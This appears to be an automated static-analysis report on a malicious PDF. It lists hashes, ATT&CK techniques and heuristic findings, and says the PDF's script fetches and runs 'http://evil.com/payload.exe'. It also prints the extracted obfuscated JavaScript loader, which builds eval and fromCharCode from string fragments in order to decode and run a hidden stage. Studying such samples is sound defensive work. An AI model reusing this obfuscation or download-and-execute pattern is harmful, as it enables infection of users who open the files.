Malicious PDF — malware analysis report

Static analysis result for SHA-256 83a7f960e580588b…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2013-07-13
MD5: 41e09cb65f17da4d98b2556a26f0dff7 SHA-1: d1d9dbe84819afcb4d679e5f81336d6da427e02f SHA-256: 83a7f960e580588be12ab3623aa2d1ac4e7a31e3545426a159f9829885995850
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a loader, which is designed to download and execute a second-stage payload. The script reconstructs the URL "http://evil.com/payload.exe" from concatenated strings and then executes it. This indicates a typical dropper or downloader pattern, commonly associated with initial compromise via spearphishing attachments.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB094 438 bytes
SHA-256: 589db8c70aa5311606952509c1a6d1a81a7c1158f6ccc2cc25a7ceba9619b924
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
iqftj=e('ti'.concat(v[4],t));
q=iqftj[v](a.length-6,a.length+2);
uoiua=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=iqftj[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	pvxuj = 1*(q[i]) - (-1)*(q[++i]);
	s2 = s2.concat(uoiua(pvxuj));
	i++;
}
e(s2);

Open this report in the interactive analyzer, or submit your own file for analysis.